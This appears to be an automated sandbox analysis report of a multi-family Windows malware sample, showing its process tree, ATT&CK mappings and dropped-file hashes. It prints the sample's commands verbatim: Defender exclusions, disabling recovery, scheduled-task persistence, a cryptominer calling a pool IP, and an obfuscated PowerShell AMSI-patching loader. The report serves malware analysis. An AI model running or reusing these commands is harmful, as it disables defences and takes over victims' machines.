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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2208
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2948
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3172 -
C:\Users\Admin\AppData\Local\Temp\2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3212
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4424
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C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:2992
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C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable3⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:4968
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C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:324
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F3⤵
- Suspicious use of WriteProcessMemory
PID:232 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:752
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX3⤵
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2044
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4832
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1592
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4732
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4800
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3044
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5096
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C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4408
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C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.84⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2192
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=903⤵
- Badlisted process makes network request
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4632
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C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3340
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3684
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3736
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3844
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5036
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1068
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:3124
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2144
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4444
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:3208
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C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4804
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C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:EdbkPrUdvhaj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IrsbpISfhEoPes,[Parameter(Position=1)][Type]$JAepKhqhfb)$pOTBqTdFlpn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+'e'+'d'+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+'e'+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+'ss'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+','+'S'+'e'+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+'A'+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$pOTBqTdFlpn.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+'H'+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$IrsbpISfhEoPes).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$pOTBqTdFlpn.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+'t'+'ua'+[Char](108)+'',$JAepKhqhfb,$IrsbpISfhEoPes).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+'g'+''+[Char](101)+'d');Write-Output $pOTBqTdFlpn.CreateType();}$oupYZpovCZRWO=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+''+[Char](46)+''+'U'+'n'+'s'+'a'+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+'veM'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$EUfSFWFxHLekqU=$oupYZpovCZRWO.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+'r'+''+'o'+'cA'+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MxIMfKvmcJKuaRqOyTP=EdbkPrUdvhaj @([String])([IntPtr]);$vlCHvlmfeerjiFpCVQBTNo=EdbkPrUdvhaj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$tJwUpkzTJEn=$oupYZpovCZRWO.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+'d'+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'el3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$XaetrhuwWISPOn=$EUfSFWFxHLekqU.Invoke($Null,@([Object]$tJwUpkzTJEn,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'ra'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$ZJVvBHpTccGgsFXbc=$EUfSFWFxHLekqU.Invoke($Null,@([Object]$tJwUpkzTJEn,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+'u'+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$dXisHUn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XaetrhuwWISPOn,$MxIMfKvmcJKuaRqOyTP).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$krNrLXDGHhqmGJWzL=$EUfSFWFxHLekqU.Invoke($Null,@([Object]$dXisHUn,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$QyFdnvGNVd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZJVvBHpTccGgsFXbc,$vlCHvlmfeerjiFpCVQBTNo).Invoke($krNrLXDGHhqmGJWzL,[uint32]8,4,[ref]$QyFdnvGNVd);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](140-3),[Byte](93+99),[Byte](143+41),[Byte](72+15),[Byte](155-155),[Byte](138-131),[Byte](31+97),[Byte](36+95),[Byte](227+7),[Byte](118-118),[Byte](156+39),[Byte](177-40),[Byte](17+175)),0,$krNrLXDGHhqmGJWzL,50-37);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZJVvBHpTccGgsFXbc,$vlCHvlmfeerjiFpCVQBTNo).Invoke($krNrLXDGHhqmGJWzL,[uint32]8,0x20,[ref]$QyFdnvGNVd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'S'+'H'+'s'+''+[Char](116)+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:EdbkPrUdvhaj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IrsbpISfhEoPes,[Parameter(Position=1)][Type]$JAepKhqhfb)$pOTBqTdFlpn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+'e'+'d'+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+'e'+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+'ss'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+','+'S'+'e'+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+'A'+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$pOTBqTdFlpn.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+'H'+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$IrsbpISfhEoPes).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$pOTBqTdFlpn.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+'t'+'ua'+[Char](108)+'',$JAepKhqhfb,$IrsbpISfhEoPes).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+'g'+''+[Char](101)+'d');Write-Output $pOTBqTdFlpn.CreateType();}$oupYZpovCZRWO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+''+[Char](46)+''+'U'+'n'+'s'+'a'+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+'veM'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$EUfSFWFxHLekqU=$oupYZpovCZRWO.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+'r'+''+'o'+'cA'+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MxIMfKvmcJKuaRqOyTP=EdbkPrUdvhaj @([String])([IntPtr]);$vlCHvlmfeerjiFpCVQBTNo=EdbkPrUdvhaj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$tJwUpkzTJEn=$oupYZpovCZRWO.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+'d'+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'el3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$XaetrhuwWISPOn=$EUfSFWFxHLekqU.Invoke($Null,@([Object]$tJwUpkzTJEn,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'ra'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$ZJVvBHpTccGgsFXbc=$EUfSFWFxHLekqU.Invoke($Null,@([Object]$tJwUpkzTJEn,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+'u'+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$dXisHUn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XaetrhuwWISPOn,$MxIMfKvmcJKuaRqOyTP).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$krNrLXDGHhqmGJWzL=$EUfSFWFxHLekqU.Invoke($Null,@([Object]$dXisHUn,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$QyFdnvGNVd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZJVvBHpTccGgsFXbc,$vlCHvlmfeerjiFpCVQBTNo).Invoke($krNrLXDGHhqmGJWzL,[uint32]8,4,[ref]$QyFdnvGNVd);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](140-3),[Byte](93+99),[Byte](143+41),[Byte](72+15),[Byte](155-155),[Byte](138-131),[Byte](31+97),[Byte](36+95),[Byte](227+7),[Byte](118-118),[Byte](156+39),[Byte](177-40),[Byte](17+175)),0,$krNrLXDGHhqmGJWzL,50-37);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZJVvBHpTccGgsFXbc,$vlCHvlmfeerjiFpCVQBTNo).Invoke($krNrLXDGHhqmGJWzL,[uint32]8,0x20,[ref]$QyFdnvGNVd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'S'+'H'+'s'+''+[Char](116)+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3380
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
- Size 192B
- SHA256 6f2ae18bca467a55e6d061f9fc36403a2a39715415bf59b22ce1ac5ca2068fbd
- MD5 9fdd3642f5502036189590f9178e028c
- SHA1 f2dc143204e5feb6ea10eafc701db15d09ad342e
- SHA512 6cf5006cf1f84fdbe97c277616b21d7375303938978637c78cc578ac304945a71f2d7ad19337495b53c4222ddc3d729dd69c6705cf1311356dc4c73335a874d0
- TLSH T106C0801C19610515F59C437C42C1390357118101E7418F0515F13504C952B152874C69
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CFAC5C238D021E9A52942244AA4B6020
- Size 242B
- SHA256 d03d3d9262124b6c291804cb49222f8aa5d8fa396ec57a9e5252d678e995365f
- MD5 a0394ebb95ac029fc808789010bc7b82
- SHA1 7696cc676bf34be6878b4e03685de078e6d04f69
- SHA512 21bd55c11d04872330e2a7c95e84586efad5bc292d26aa8d1f248eca7024e162cfa7cb2127b6e879c440b1437f855740f09ecff35068aed5d24147e3cbbabd1e
- TLSH T1F6D0122D5EA7023ED628D63ECAB507535A287611F9B19B4F05BE1A097D53BA21832C0C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
- MD5 dbbd2d4458d7e8094846420da595dfc3
- SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
- SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
- SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
- TLSH T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
- Size 401KB
- SHA256 9bd8d4bdeb10671f1ab9d634d4ef53ff9ccb3e41553003327bf32c934ea4e30a
- MD5 2ddb625f32e55871364c86f43b8441f0
- SHA1 25a510559f7034a4536cf3d1765bc12ea273d5bd
- SHA512 12a993a6975a79db40e62972ebb9b6f6e5de8864b2b26c7c18e974f96b3214339239d71fc74ee7273ab73feb9dd467bf0cb63a3c573d21882b6ece71020d53ba
- SSDEEP 6144:7sO/zba+IQbXxFaK6cfyIoT7Oqbv5F0GRnR73HZOBzS:bH7F6cf6T7Ow5JR
- TLSH T152946C17FA652079F1A79138CD564902E6BD7C4E07A19ECF03D049A62F2B6E0AF3E711
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b79f569e6c453b33139dcd90442a80e59ac882a1e272a8e4a322d295bfac3ab0
- MD5 e60feda9a7e775a7d83cc6ec30a00f68
- SHA1 b258b886f3cba5a97922f2695ebeaedafe3638ef
- SHA512 51dae2882602a7ef7b3e43cc8745cc6fd974beae26a17730c928d4e82dc19dbb66287d9431cc6bd1990a7278c546cd3f9a51eeb6debd73eacf2803ee303c70e2
- TLSH T153218633B7ACC234C8D911BA208CAD01B2B5C3C7449ECE8B7B84C508A57F99ADB645E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
